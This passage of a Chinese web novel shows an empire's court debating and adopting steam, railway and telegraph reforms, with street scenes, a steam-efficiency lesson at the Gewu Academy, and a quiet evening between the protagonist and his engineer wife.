林臻缓缓起身,玄色披风无风自动。他走到殿中,声音沉稳有力,穿透大殿的寂静:“陛下圣明。格物之力,非为奇技,乃强国富民之本。新政方略,首重四端。” “其一,兴格物之学。于国子监、格物院设格物科,授物理、算学、化学、机械诸学。广设州府格物学堂,延名师,育良才。科举增设格物科,选拔通晓格物、有志实学之士,入仕为官。” “其二,筑格物之基。工部、焚雷司、格物院,勘测规划京畿—北疆蒸汽轨道干线,优先铺设帝京—雁门关段。架设帝京—北疆电报干线,连通各州府、边关重镇。于矿冶、漕运、织造、农工诸业,推广蒸汽机械,提升工效。” “其三,聚格物之财。户部设格物兴国专项库银,内库拨付,国库保障。许商贾、世家入股轨道、电报、工矿诸业,共享其利,共担其险。汇通号牵头,发行格物债券,募民间资本,以补国用。” “其四,立格物之制。吏部修订《流官考绩条例》,增列格物惠民实绩。刑部制定《格物专利律》,保护发明创造。礼部编纂《格物启蒙》,颁行州县学堂,启民智,开风气。” 林臻话音落下,殿内落针可闻。 新政方略,条条直指核心,气魄宏大,颠覆传统。 其影响之深远,触及之广泛,远超群臣预料。 短暂的沉寂后,殿内如同投入巨石的深潭,骤然沸腾。 “陛下!臣有本奏!”礼部尚书周正须发皆白,手持玉笏,颤巍巍出列,声音苍老却带着不容置疑的激愤, “格物之学,奇技淫巧,雕虫小技,向为君子所不齿!今设科取士,广开学堂,动摇科举根本,冲击儒学道统,此乃祸国之源!长此以往,士子弃圣贤书而逐机巧术,纲常废弛,礼崩乐坏,国将不国!” “周大人此言差矣!”工部尚书李崇立刻出列反驳,声音洪亮, “北疆雪灾,若无铁龙破冰运粮,电波瞬息通联,十万灾民早已化为枯骨!柔然铁骑,若无焚天雷震慑,早已踏破边关!此乃实打实之功,岂是奇技淫巧四字可蔽之!格物之学,格物致知,强邦富民,正是践行圣道!” “李尚书!”御史大夫王俭紧随其后,声音尖锐, “格物之力,固有其功。然,科举乃国本,儒学乃道统。增设格物科,使工匠之术与圣贤之道并列,混淆贵贱,颠倒尊卑,此乃动摇国本!广设格物学堂,耗费巨万,与民争利,更恐良莠不齐,滋生事端!” “王御史此言,未免危言耸听。”新任户部尚书张衡沉稳出列, “格物之学,非为取代儒学,实为互补。儒学修身齐家治国,格物致知强邦。国不强,何以护道统。民不富,何以兴礼乐。至于耗费,” 他目光扫过王俭,“北疆赈灾,若无铁龙,征调民夫十万,耗粮无数,耗时数月,死伤几何。若无电报,贻误战机,柔然犯境,生灵涂炭,损失几何。此间得失,王御史可曾细算。” “张尚书!”兵部尚书赵武声如洪钟,“兵者,国之大事。格物之力,铸焚天雷可御外辱,造铁龙可运兵粮,通电报可调兵马。此乃强军卫国之本,岂容诋毁!周大人、王御史,莫非愿见边关将士,仍持刀矛弓矢,以血肉之躯,抗敌铁骑火器乎。” “赵尚书!”周正怒目而视,“强词夺理!格物之力,终为外道!治国之本,在人心,在教化,在礼义廉耻!若人人逐利忘义,重器轻德,纵有坚船利炮,亦不过蛮夷之邦!” “周大人!”翰林院掌院学士陆文渊出列,声音清朗,“下官以为,格物之学,非但不悖圣道,实为圣道新章!《大学》有云:致知在格物。格物致知,诚意正心,修身齐家,治国平天下。格物乃修身之始,治国之基!今格物之学,格天地万物之理,致富国强兵之用,正是光大圣道!岂可因循守旧,抱残守缺!” “陆学士!”王俭厉声,“巧言令色!混淆视听!格物致知,乃格心中之物,非格身外之器!此乃偷换概念,曲解圣言!” “王御史!”楚惜灵清冷的声音响起,她一身靛蓝官袍,步至殿中,目光平静无波,“格物致知,格物为先。无格物,何以致知。格物院蒸汽机,格水火相激之力,致驱动机器之知。电报机,格电磁相感之理,致瞬息通联之知。此知,非虚妄,乃实学。此学,非外道,乃内修。格物之力,践行仁政,护佑苍生,此非大德。格物之学,启民智,开民力,富国强兵,此非大道。” 楚惜灵话语不多,却字字清晰,逻辑严密,直指核心。殿内一时寂静。周正、王俭脸色涨红,一时语塞。 女帝慕容嫣目光沉静,扫过激辩的群臣,最终落在林臻身上:“夫君啊,新政耗资巨万,牵涉甚广。众卿所虑,亦有其理,夫君可有良策。” 林臻缓缓起身,玄色披风在身后划出一道凌厉的弧线。他目光深邃,扫过殿内每一张面孔,声音低沉而有力:“新政之利,北疆雪灾,已为明证。格物之力,非为动摇道统,实为护道统,兴礼乐。然,诸公所虑,亦非无因。” 他话锋一转:“故,新政推行,当双管齐下,恩威并施。” “其一,科举增设格物科,先于国子监、格物院设特科,选拔军中、工部、流官中聪慧子弟,授实用之学,短期培训,以应急需。同时,严定格物科章程,选拔通晓原理、有志实学之才,为长远计。州府格物学堂,先于重镇试点,择良才而教,待成效显著,再行推广。” “其二,轨道、电报、工矿诸业,许商贾、世家入股,共享其利。汇通号发行债券,募民间资本,以补国用。利之所在,人心自附。” “其三,吏部修订考绩,增列格物惠民实绩。刑部制定《专利律》,保护发明。礼部编纂《启蒙》,启民智。此乃立制,以固根基。” “其四,”林臻声音转冷,目光如电,扫过周正、王俭,“新政乃国策,阻新政,便是阻仁政,阻大义。凡有阳奉阴违,煽动清议,阻挠新政者,视同谋逆,严惩不贷。” 最后四字,如同寒冰,掷地有声。殿内温度骤降。周正、王俭脸色煞白,身体微颤。 “陛下!”毛梦极一身玄甲,大步出列,枯瘦的脸上刀疤狰狞,声音嘶哑, “末将附议!北疆将士,亲见铁龙运粮,电报传讯,焚天雷慑敌!此乃护国利器!阻格物,便是断将士生路,损国朝根基!末将愿为先锋,为新政扫清障碍!” 他手按刀柄,眼中凶光闪烁。 “臣附议!”李崇、张衡、赵武、陆文渊等革新派大臣齐声应和。 “臣附议。”部分中立大臣,见风使舵,也躬身表态。 周正、王俭及少数顽固老臣,面色灰败,嘴唇翕动,却不敢再言。 女帝慕容嫣目光扫过殿内,沉静如水:“众卿所议,朕已了然。格物兴国,乃大势所趋,利国利民。新政方略,深谋远虑,双管齐下,恩威并施,老成谋国。” 她声音转高,带着不容置疑的威严: “着令!工部、焚雷司、格物院,即日勘测京畿—北疆轨道干线,优先铺设帝京—雁门关段。驿传司、兵部、格物院,即日架设帝京—北疆电报干线。 户部,即日设立格物兴国专项库银,制定商贾、世家入股章程,发行格物债券。吏部、刑部、礼部,即日修订相关律例章程。 国子监、格物院,即日开设格物特科及格物科。各州府,择重镇试点格物学堂。” “此乃国策,昭告天下,一体施行。凡有阻挠新政者,严惩不贷。” “陛下圣明!”群臣齐声高呼,声震殿宇。 周正、王俭等人,面如死灰,颓然躬身。 第761章 格物兴国商贾入股章程 紫宸殿的惊雷余音未散,帝京的街巷已悄然涌动起新的波澜。 林臻褪去玄色蟠龙常服,换上一身靛青素面锦缎常服,外罩同色薄氅,未带仪仗,仅由两名气息内敛的亲卫随行,再次融入帝京繁华的市井之中。 新政方略已昭告天下,然其落地生根,惠及黎庶,尚需时日。他需要亲耳听听,新政之下,这座千年帝都的脉搏如何跳动。 朱雀大街,帝京最繁华的商道。 商铺林立,幡旗招展,人流如织,喧嚣鼎沸。空气中弥漫着各种香料、食物、脂粉的混合气息,以及一种躁动不安的活力。 林臻在一家名为“汇通号”的巨贾门前驻足。 鎏金匾额在阳光下熠熠生辉,门庭若市,车马盈门。 几名身着绸缎、气度不凡的商贾正围在告示牌前,议论纷纷。 告示牌上,张贴着户部新颁的《格物兴国商贾入股章程》及汇通号发行的“格物债券”认购细则。 “张老哥,您看这京畿—北疆轨道的股份,每股白银百两,年息五分,五年后可按市价赎回或转售。这买卖做得过吗?”一个微胖的粮商问。 被称作张老哥的富商,捻着胡须,沉吟道:“李老弟,这得看长远。北疆雪灾,铁龙运粮,你我都见识了。这轨道一成,南北货运,快如风驰电掣,利润何止十倍。五分息,只是小头。关键是占个先机,日后分红,才是大头。” “话是这么说,”另一个绸缎商接口,“可这格物终究是新玩意儿。万一朝廷政策有变,或者那铁龙半路趴窝咱们的血汗钱” “王掌柜多虑了。”一个年轻气盛的瓷器商插话,“我爹说了,镇北王殿下言出必行。焚天雷、电报机,哪样不是惊天动地。跟着朝廷走,错不了。我已认购了五千两债券,还打算入股津门港蒸汽码头呢!” “还是年轻人有魄力。”张老哥笑道,“老夫也打算投一笔。这格物债券,利息虽不高,但胜在稳妥,由汇通号担保,户部背书。就当存了个大钱庄。” “听说周家、王家那些老世家,也动心了。”粮商低声道,“他们手里握着矿山、林场,轨道、码头、工坊,哪样不要铁料木材。这入股稳赚不赔。” “哼,那些老顽固,以前鼻孔朝天,现在也闻到铜臭味了。”瓷器商不屑道。 林臻听着商贾们七嘴八舌的议论,心中了然。 新政对商贾的吸引力在于巨大的商业前景和相对稳定的官方背书。利益驱动下,嗅觉灵敏的商人已开始行动,而观望者也在权衡利弊。商贾阶层,正成为新政最积极的拥趸之一。 离开朱雀大街,转入城南的工坊区。 这里少了主街的繁华,多了几分烟火与汗水的味道。 空气中弥漫着铁锈、木屑、煤炭和油漆的气息。叮叮当当的打铁声、锯木声、机器轰鸣声交织成一片。 林臻在一家挂着“精工坊”招牌的铁匠铺前停下。 铺内炉火熊熊,热气蒸腾。几名赤膊的工匠正挥汗如雨,敲打着一块烧红的铁料。 铺子一角,摆放着几件新奇的铁器:一个结构精巧的齿轮组,一个改良的蒸汽阀门,还有一架小型的纺纱机模型。 “掌柜的,生意不错啊。”林臻走进铺子。 掌柜是个四十多岁的中年汉子,皮肤黝黑,肌肉虬结,正专注地打磨着一件铁器。闻声抬头,见林臻气度不凡,连忙放下工具,在围裙上擦了擦手:“托您的福,还过得去。郎君想打点什么?” “看看这些新玩意儿。”林臻指着那些铁器。 “哦,这些啊。”掌柜脸上露出自豪的笑容,“都是按格物院新出的图纸打的。这是改良的齿轮,传动更顺滑。这是蒸汽机用的安全阀,防爆的。这纺纱机模型,加了飞梭,效率能翻倍。” “格物院的图纸好用吗?”林臻问。 “好用!太好用了!”掌柜眼睛发亮,“以前打铁,全凭经验,瞎琢磨。现在有了图纸,尺寸、角度、材料,清清楚楚。照着做,省时省力,做出来的东西还精准。听说格物院还要开匠作学堂,教我们看图纸、算尺寸、用新工具。我打算让儿子去学学,将来吃这碗饭,光有力气不行,得有脑子。” “不怕学了新东西,抢了饭碗?”林臻问。 “怕啥!”掌柜爽朗一笑,“手艺在身,走遍天下。学了新东西,能打更精巧的物件,接更大的活。你看隔壁机巧阁的老刘,接了焚雷司的订单,做电报机零件,那工钱,翻了好几番!” 正说着,一个年轻工匠拿着图纸跑进来:“师傅,您看这个轴承的尺寸,是不是有点问题?” 掌柜接过图纸,仔细看了看:“嗯,内径公差标小了。按这个做,装不进去。得改。你去格物院设在城南的技工咨询处问问,看是不是印错了。” “好嘞!”年轻工匠拿着图纸跑了。 “现在方便了。”掌柜对林臻道,“有啥不懂的,直接去问。不像以前,闷头瞎干。” 林臻微微颔首。格物之学,正通过图纸、学堂、咨询处,悄然改变着底层工匠的思维方式和生产方式。技术的普及与提升,是新政惠及民生的根基。 离开工坊区,林臻来到城东的“文华坊”。 此处书肆林立,墨香四溢。 不少身着儒衫的学子穿梭其间,或驻足翻阅,或低声交谈。气氛比往日多了几分凝重与思辨。 林臻步入一家名为“翰墨斋”的书肆。 店内,几名学子正围在一处书架前,争论着什么。 书架上,赫然摆放着新版的《格物启蒙》、《算学精要》、《机械原理》等书籍,旁边还有礼部新编的《科举格物科考纲》。 “荒谬!荒谬!”一个年长些的学子手持《考纲》,面红耳赤,“格物科竟与经义科并列!考什么杠杆原理、蒸汽机构造!此乃舍本逐末!圣贤书不读,却去钻研这些奇技淫巧,成何体统!” “王兄此言差矣。”一个年轻学子反驳道,“格物致知,乃圣人之训。北疆雪灾,铁龙电报之功,有目共睹。若无格物之力,十万灾民何以得救。此乃实学,非奇技。朝廷增设格物科,正是为国选材,务实之举。” “李兄说得对。”另一个学子附和道,“如今这世道,光会吟诗作赋,不通实务,如何报效朝廷。我观这《格物启蒙》,深入浅出,颇有趣味。我已报名国子监的格物特科,学些实用之学,将来或可去工部、驿传司效力。” “哼!趋炎附势!”年长学子拂袖,“尔等这是要背弃圣道,自甘堕落!” “王兄言重了。”年轻学子正色道,“儒学修身,格物强邦。二者并行不悖。何来背弃之说。倒是王兄,一味守旧,恐难合时宜。” “你!”年长学子气结。 “掌柜的,这本《算学精要》和《机械原理》,我要了。”一个清朗的声音响起。林臻望去,是一个气质沉稳的青衫学子,正将几本书递给掌柜。 “好嘞,承惠一两二钱。”掌柜麻利地结账。 “这位兄台,也买格物书?”年轻学子好奇地问。 青衫学子微微一笑:“技多不压身。多学些,总无坏处。况且,”他压低声音,“听闻格物科虽新设,但朝廷求才若渴,机会或许更多。” 林臻听着学子们的争论,看着青衫学子离去的背影,心中了然。 新政在士林引发的震荡,远未平息。守旧者视其为洪水猛兽,激进者视其为晋身阶梯,而更多的,则是像青衫学子这般,在观望中寻求机遇。 思想的转变,非一朝一夕,然新风的种子,已然播下。 夕阳西下,林臻转入一条相对僻静的居民巷弄。 青石板路被清扫得干干净净,几株老槐树枝桠虬结,挂着零星的残雪。 几个孩童在巷口追逐嬉戏,笑声清脆。 一位老妪坐在门前的矮凳上,就着天光缝补衣物。 墙角,几只母鸡悠闲地啄食着地上的谷粒。 “王婆婆,您家领了孤老粮没?”一个提着菜篮的妇人路过,停下脚步问。 “领了,领了。”老妪抬起头,脸上皱纹舒展,“月初里正亲自送来的一斗米,半斤油,还有两百文钱。够老婆子吃用一阵了。” “那就好。”妇人笑道,“朝廷如今真是体恤咱们。” “是啊,是啊。”老妪连连点头,“听说是皇后娘娘亲自下的懿旨要善待孤老。” “还有那安居房。”妇人道,“我娘家侄子在兴化坊分了一套。一室一厅,有厨有卫,租金便宜。听说住满十年还能归自个儿。可真是掉进福窝里了。” “那是有福气。”老妪道,“咱们这老巷子听说也快改造了。府衙派人来量过地了。要是也能住上那样的新房子老婆子死也瞑目了。” “快了快了。”妇人安慰道,“听说工部正加紧规划呢。按兴化坊的规制来。” “托圣上和王爷的福啊。”老妪喃喃道。 林臻缓步走过,听着老妪与妇人的家常闲话,心中泛起一丝暖意。 新政的惠泽,如同涓涓细流,正悄然浸润着最底层的黎民百姓。 孤老抚恤,安居工程,虽非惊天动地,却实实在在温暖了人心。 民心所向,便是新政最坚实的根基。 暮色渐浓,帝京华灯初上。 林臻站在熙攘的街头,回望这座沐浴在灯火中的古老都城。 商贾的雄心,工匠的求变,士子的思辨,黎庶的期盼,如同无数细小的溪流,在“格物兴国”的大潮下,奔涌汇聚。 新政的巨轮,已在紫宸殿上启航,而它的航向,正由这万千黎民的命运与选择,共同书写。 前路虽非坦途,然民心所向,大势已成。 这帝京的脉搏,正随着时代的惊雷,强劲而有力地跳动。 第762章 格物院 帝京西郊,西山脚下,“格物院”的琉璃瓦顶在晨光中闪耀着清冷的光泽。 主殿“明理堂”后方,“百工坊”区域已初具规模。 其中一座挂着“机括学堂”匾额的新建工坊内,空气干燥,弥漫着新木料、金属和机油混合的气息。 宽大的工坊被分隔成数个区域:讲台区、绘图区、拆解区、组装区。 墙壁上悬挂着巨大的蒸汽机结构图、齿轮传动原理图、杠杆力学示意图。 靠墙的架子上,整齐摆放着各种金属零件、工具、测量仪器。 此刻,数十名身着靛蓝工装、年龄不一的学员,正端坐在绘图区的长桌前,神情专注,鸦雀无声。 讲台上,楚惜灵一身靛蓝工装,外罩素白罩衫,乌发一丝不苟地绾在脑后,清冷的脸上无波无澜,目光沉静地扫过台下学员。 “今日,讲蒸汽机热功转换效率。”楚惜灵声音清冷平稳,穿透工坊的寂静。 她转身,拿起一支炭笔,在身后巨大的黑板上写下标题。 板书工整清晰,如同印刷。 “热功转换,即热能转化为机械能之过程。”她指尖划过蒸汽机结构图上的锅炉部分,“热能来源燃料燃烧加热锅炉水吸热汽化膨胀。” “水蒸气压力推动活塞连曲轴曲轴带飞轮输出机械功。”她的指尖随着讲解,精准地落在气缸、活塞、曲轴、飞轮的位置。 “然并非所有热能皆可转化为功。”她转身,在黑板上画出一个能量流程图,“大部分热能散失于烟道废气锅炉散热气缸摩擦冷凝损失” “故热效率等于有用功除以输入总热能。” “提高效率途径”她目光扫过台下,“其一优化锅炉保温减少散热。其二改良冷凝回收余热。其三减小摩擦精加工润滑。其四提高蒸汽压力温度。” 她每讲一点,便在黑板上列出要点,并辅以简图说明。讲解条理清晰,逻辑严密,语言精炼,没有一句废话。学员们埋头疾书,笔尖划过纸张的沙沙声是工坊内唯一的声响。 “现有初号机实测热效率一成五。”楚惜灵道,“目标三成。如何达成。” 她停顿片刻,目光落在前排一名年轻学员身上:“张衡。” 被点名的学员立刻起身:“回楚师,学生以为,可尝试双层锅炉夹层填充硅藻土隔热。另加装废气预热器预热进水回收余热。” “硅藻土隔热系数几何。”楚惜灵问。 “回楚师,硅藻土导热系数约零点零五瓦每米开尔文。”张衡答。 “废气预热器设计要点。”楚惜灵追问。 “需计算废气流量温度换热面积确保预热充分且不降低烟囱抽力。”张衡答。 “善。”楚惜灵微微颔首,“课后绘制双层锅炉及预热器草图。明日交。” “是,楚师。”张衡坐下,脸上带着一丝兴奋。 楚惜灵继续讲解其他提升效率的设想,并引导学员思考、提问。她虽神色清冷,但解答问题耐心细致,对于学员提出的幼稚问题,也从不斥责,只是用更简洁的语言或示意图解释清楚。 她的课堂,如同精密的仪器,高效而有序。 午后,工坊转入实践区。中央的宽大工作台上,放置着一台拆卸下来的小型蒸汽机模型,结构与“初号机”类似,但尺寸缩小数倍。 “现在拆解分析。”楚惜灵道。她走到工作台前,拿起一把特制的内六角扳手。 “首先拆卸气缸盖。”她动作精准而稳定,拧下固定螺栓,取下气缸盖,露出内部的活塞和连杆。“观察活塞环密封性。磨损即漏气损效率。” 她将活塞取出,指着活塞环上的细微划痕:“此为安装不当或材质不均所致。需改进工艺。” “其次拆卸曲轴箱。”她继续操作,打开曲轴箱盖,露出内部的曲轴、连杆和飞轮。“观察轴承润滑。摩擦生热耗能。” 她用手指沾了一点润滑油,捻了捻:“油质黏度需适配转速温度。” “再次检查阀门。”她指向进汽阀和排汽阀,“开合时机精度影响蒸汽利用率。” 她一边拆解,一边讲解每一个部件的功能、常见故障、对效率的影响以及改进方向。动作流畅,如同庖丁解牛,对这台机器的结构了如指掌。 学员们围在工作台周围,屏息凝神,眼睛紧紧盯着她的每一个动作,生怕错过一个细节。 “现在分组。”楚惜灵放下工具,“每组领一台模型。按拆解顺序记录各部状态测量关键尺寸分析可能缺陷提出改进建议。” 学员们立刻行动起来,分组领取模型和工具。工坊内响起轻微的金属碰撞声和低声讨论声。楚惜灵在各组间巡视,时而驻足观察,时而俯身指点。 “此处连杆轴承间隙过大需调整垫片。”她在一组学员旁停下,指着他们拆开的曲轴箱。 “楚师,这垫片厚度如何计算。”学员问。 “需测量现有间隙计算所需补偿量。”楚惜灵拿起游标卡尺,示范测量。 “明白了,谢楚师。”学员连忙记录。 另一组学员正为拆卸一个锈死的螺栓发愁。 楚惜灵走过去,拿起一个小喷壶,对着螺栓喷了几下特制的除锈润滑剂:“静置一刻钟。再试。” 一刻钟后,螺栓果然轻松拧下。 学员们面露钦佩。 夕阳西斜,实践课接近尾声。 学员们已完成拆解、测量和初步分析,正在整理报告。 楚惜灵走到讲台前,清冷的声音响起:“今日所学非止拆装机器。” 学员们停下笔,抬头望向她。 “格物致用。”她目光扫过众人,“知其然更需知其所以然。蒸汽机非神物。其力源于水火相激其动源于力之传递其效受制于热散摩擦泄漏。” 她指向黑板上的能量流程图:“热能散失何处。摩擦损耗几何。泄漏如何避免。此皆可测量计算改进。” “格物之学重实证重数据重逻辑。”她拿起一份学员的测量记录,“此份气缸内径测量五次数据偏差零点零二毫米。何故。” 被点名的学员紧张地站起来:“回楚师可能测量时卡尺未垂直或读数误差。” “如何减小误差。”楚惜灵问。 “多次测量取平均规范操作校准仪器。”学员答。 “善。”楚惜灵颔首,“格物非空谈。需眼到手到心到。一丝不苟精益求精。” 她停顿片刻,声音依旧清冷,却带着一丝不易察觉的郑重:“尔等所学非为个人前程。轨道贯通机车奔驰电报通达矿冶兴盛皆需尔等之力。此乃强国富民之基。望尔等不负所学。” 学员们神情肃然,眼中闪烁着光芒。他们深知,能进入格物院学习,是莫大的机遇,更肩负着沉甸甸的责任。 暮色四合,工坊内点起了明亮的煤气灯。大部分学员已离去,唯有几名格外勤奋的学员,仍在绘图区伏案疾书,或围着一台模型低声讨论。 楚惜灵并未离开。她坐在讲台旁的桌案后,面前摊开着几份学员提交的草图和分析报告,手持朱笔,仔细批阅。琉璃灯罩下,光线柔和,勾勒出她清瘦而专注的侧影。 “楚师”一个略显怯懦的声音响起。是年纪最小的学员陈默,他拿着一份草图,犹豫地站在桌旁。 楚惜灵抬眸:“何事。” “学生关于废气预热器换热面积计算有些不明白。”陈默递上草图,上面密密麻麻标注着数据和公式。 楚惜灵接过草图,扫了一眼:“公式无误。但参数取值有误。” 她拿起炭笔,在旁边的草稿纸上快速演算,“废气初始温度T1取实测值非估算。水流速v需根据管道直径流量计算。换热系数K与材质流速相关查此表。” 她一边说,一边在草稿纸上列出清晰的步骤和修正后的参数值。陈默紧盯着她的笔尖,眼中疑惑渐渐散去。 “谢楚师指点。”陈默接过修正后的草稿,如获至宝。 “还有疑问。”楚惜灵问。 “没没有了。”陈默连忙摇头,躬身退下。 楚惜灵继续批阅报告。对于计算错误,她圈出并标注正确公式;对于设计疏漏,她指出隐患并给出建议;对于创新想法,她则画圈标注,写下“可深入论证”。 批注简洁精准,字迹清秀有力。 “楚大人辛苦了。”工坊管事轻步走来,低声道,“晚膳已备好。殿下遣人传话请您回府用膳。” 楚惜灵笔尖微顿,抬眸看了一眼窗外沉沉的夜色,清冷的脸上依旧无波无澜:“知道了。批完即回。” 她重新低下头,继续专注于眼前的报告。 琉璃灯下,她的身影沉静而专注。作为格物院的院正,她肩负着为帝国培养格物人才的重任;作为林臻的妾室,她亦需顾及王府的规矩。 然此刻,在她心中,眼前这份关乎蒸汽机效率提升的学员报告,远比王府的晚膳更为紧要。 这份专注与责任,便是她,楚惜灵,在格物之道上,一步一个脚印,践行着“格物致用”的信念。 灯火摇曳,工坊寂静,唯有笔尖划过纸页的沙沙声,如同最坚定的足音,在这格物之路上,清晰回响。 第763章 尽在不言中 暮色深沉,西山脚下的“格物院”笼罩在一片静谧之中。 白日里喧嚣的工地已归于沉寂,唯有“机括学堂”工坊内,还亮着几盏煤气灯。 琉璃灯罩下,光线柔和,映照着楚惜灵清冷而专注的侧影。 她端坐于讲台旁的桌案后,靛蓝工装外罩的素白罩衫在灯下泛着微光,乌发一丝不苟地绾在脑后,露出光洁的额头和修长的脖颈。 她手持朱笔,正全神贯注地批阅着学员提交的草图和分析报告。 笔尖划过纸页,发出细微的沙沙声,是这寂静工坊内唯一的声响。 琉璃灯的光晕在她长长的睫毛下投下一小片阴影,清冷的脸上无波无澜,唯有眉宇间凝聚着一丝不易察觉的专注。 工坊管事轻步走近,在几步外停下,声音压得极低:“楚大人,殿下来了。” 楚惜灵笔尖微顿,抬眸。 工坊门口,一道颀长的玄色身影静静伫立。 林臻不知何时已至,未带亲卫,只身一人。 他玄色蟠龙常服外罩同色薄氅,负手而立,深邃的目光穿过工坊内略显昏暗的光线,落在她身上。 他并未立刻进来,只是静静地看着她,如同欣赏一幅沉静的画卷。 楚惜灵放下朱笔,起身,清冷的眼眸望向他,微微颔首:“夫君。” 林臻缓步走入工坊,步履沉稳无声。他走到桌案旁,目光扫过摊开的图纸和批注了一半的报告:“还在忙。” “嗯。”楚惜灵应道,“批完这几份。” “不急。”林臻声音低沉温和,目光落在她略显疲惫却依旧清亮的眼眸上,“用过晚膳了。” “尚未。”楚惜灵道。 “府中备好了。”林臻道,“婉儿遣人来问过。” “知道了。”楚惜灵垂眸,看着桌上的报告,“稍后便回。” 林臻不再言语,只是走到一旁,在学员绘图区的长桌边随意坐下。 他并未打扰她,目光平静地扫过工坊内的陈设:墙上巨大的蒸汽机结构图,架子上琳琅满目的零件工具,工作台上拆解了一半的蒸汽机模型。 空气里弥漫着淡淡的机油、木料和墨香混合的气息,这是属于她的世界。 楚惜灵重新坐下,拿起朱笔,继续批阅。 她批得很仔细,时而蹙眉思索,时而提笔标注。 林臻静静地看着她。看她纤细的手指捏着朱笔,在图纸上圈点勾画;看她清冷的侧脸在灯下勾勒出柔和的轮廓;看她专注的神情,仿佛整个世界只剩下眼前的图纸和数据。 这份沉静与专注,如同深潭古井,无声无息,却自有其摄人心魄的力量。 时间在寂静中流淌。工坊外,寒风掠过树梢,发出轻微的呜咽。工坊内,唯有笔尖划过纸页的沙沙声,以及两人平稳的呼吸声。一种无需言语的默契,在寂静中悄然流淌。 最后一笔落下。楚惜灵放下朱笔,轻轻合上报告。 她抬眸,看向林臻:“好了。” 林臻起身:“走吧。” 楚惜灵脱下素白罩衫,整理好桌上的图纸报告,才走到林臻身边。 两人并肩走出工坊。寒风扑面而来,带着深冬的凛冽。 林臻解下自己的薄氅,披在楚惜灵肩上。 玄色的大氅带着他身上的温热和清冽的松木气息,瞬间驱散了寒意。 “不必。”楚惜灵微微侧身。 “披着。”林臻声音低沉,不容置疑。 楚惜灵不再推辞,拢了拢宽大的氅衣。 两人沿着青石板路,缓步走向格物院大门。 夜色深沉,星光稀疏。道路两侧,新植的松柏在寒风中摇曳,投下斑驳的暗影。 远处,帝京的灯火在夜色中连成一片朦胧的光海。 两人沉默地走着,脚步声落在寂静的夜路上,清晰可闻。 没有过多的言语,只有一种沉静的陪伴。 林臻高大的身影在她身侧,如同沉默的山岳,带来无声的安稳。楚惜灵清冷的气息萦绕在鼻尖,带着一丝不易察觉的、清雅的药香。 “今日授课如何。”林臻打破沉默。 “尚可。”楚惜灵声音清冷平稳,“学员张衡提出双层锅炉硅藻土隔热废气预热器构想可行。” “硅藻土隔热系数几何。”林臻问。 “零点零五瓦每米开尔文。”楚惜灵答。 “预热器设计难点。”林臻追问。 “换热面积计算需精确废气流量温度波动影响换热效率及烟囱抽力。”楚惜灵道。 “可有解决方案。”林臻道。 “加装流量计温度传感器调节阀实时调控。”楚惜灵道,“图纸已批命其完善。” “善。”林臻颔首。 简单的问答,如同格物院内的学术探讨,却带着一种心照不宣的默契。 他们谈论着冰冷的数字和精密的机械,言语间却流淌着无需言说的理解与支持。 马车驶回王府,径直停在栖霞苑“百工阁”前。 阁内,暖意融融。炭火盆驱散了深冬的寒意,空气中弥漫着淡淡的兰草清香。 橙萱早已备好热茶和点心,见两人回来,连忙上前伺候。 林臻屏退左右。 暖阁内,只余二人。 楚惜灵解下玄色薄氅,递给橙萱收好。 她走到窗边的软榻旁,准备卸去工装。 “灵儿,”林臻唤道。 楚惜灵动作一顿,抬眸望来。 林臻走到她面前,目光落在她左臂上。 虽隔着衣物,但他知道,那里有一道淡粉色的疤痕,是断魂崖留下的旧伤,每逢阴冷天气,便会隐隐作痛。 “伤处可还疼痛。”他声音低沉。 楚惜灵微微一怔,随即轻轻摇头:“无碍。” “今日天寒。”林臻道,“橙萱备了药膏。” 他走到一旁的矮几前,拿起一个白玉小盒,打开盒盖,一股清冽的药香弥漫开来。 盒中是楚惜灵特制的活血化瘀药膏。 楚惜灵看着他的动作,清冷的眼眸中闪过一丝微澜。 她沉默片刻,走到软榻边坐下,轻轻挽起左臂的衣袖。 白皙的手臂上,那道淡粉色的疤痕蜿蜒如蛇,在烛光下格外清晰。 林臻走到她身侧,单膝微屈,蹲下身。 他指尖蘸取少许药膏,动作轻柔地涂抹在疤痕上。 药膏微凉,带着薄荷的清香。他的指尖温热,带着薄茧,拂过她微凉的肌肤,带来一丝细微的酥麻感。 楚惜灵身体微微一僵,随即放松下来。 她垂眸,看着林臻专注而轻柔的动作。 他低垂的眼睫在眼下投下一小片阴影,神情认真得如同对待一件精密的仪器。 暖阁内一片寂静,唯有炭火盆偶尔发出的噼啪轻响,以及两人细微的呼吸声。 “北疆轨道勘测进展如何。”楚惜灵轻声问,打破沉默。 “工部已派员实地踏勘。”林臻指尖力道均匀,声音低沉,“帝京—雁门关段地势相对平缓优先铺设。焚雷司提供特制道钉及减震垫片。” “道钉材质。”楚惜灵问。 “精铁锻打淬火表面渗碳处理增强耐磨。”林臻道。 “减震垫片用何物。”楚惜灵追问。 “硫化橡胶混合软木屑压制。”林臻答,“弹性缓冲效果尚可。” “可试硅胶。”楚惜灵道,“格物院新制耐候性弹性更佳。” “善。”林臻颔首,“着人送样测试。” 一问一答,如同在格物院探讨蒸汽机效率,却又在这私密的暖阁中,平添了几分温存。冰冷的轨道技术与温热的指尖触感交织,构成一种奇异的和谐。 药膏涂抹均匀,林臻收回手,用丝帕擦拭指尖。楚惜灵放下衣袖,遮住疤痕。 “谢夫君。”她声音清冷依旧,却带着一丝不易察觉的柔和。 “早些歇息。”林臻起身,目光落在她略显疲惫的脸上,“莫要太过操劳。” “嗯。”楚惜灵应道。 橙萱奉上热茶和几样清淡的点心。林臻与楚惜灵对坐于软榻两侧的矮几旁。 林臻端起茶盏,轻抿一口:“焚天雷民用转化进展如何。” 楚惜灵拿起一块小巧的桂花糕,小口吃着:“开山炸药配比已稳定。矿场试用效果显著。缓释爆破剂用于运河开凿松动冻土不伤根基试验成功。” “善。”林臻眼中闪过一丝赞许,“此物利国利民。” “然”楚惜灵放下糕点,清冷的眼眸望向他,“焚天雷核心硝化甘油提纯储存仍有风险。民用需严控流向及使用规范。” “灵儿思虑周全。”林臻颔首,“此事交由你全权负责。制定章程设专营严监管。” “是。”楚惜灵应道。 短暂的沉默。 暖阁内,茶香袅袅,烛火摇曳。两人之间,没有过多的甜言蜜语,没有热烈的缠绵,只有一种沉静的陪伴和心照不宣的理解。他们谈论着国事,探讨着格物,言语间流淌着无需言说的信任与支持。 林臻看着烛光下楚惜灵清冷的侧脸。 她低垂的眼睫,挺直的鼻梁,紧抿的唇线,都透着一种遗世独立的孤高。 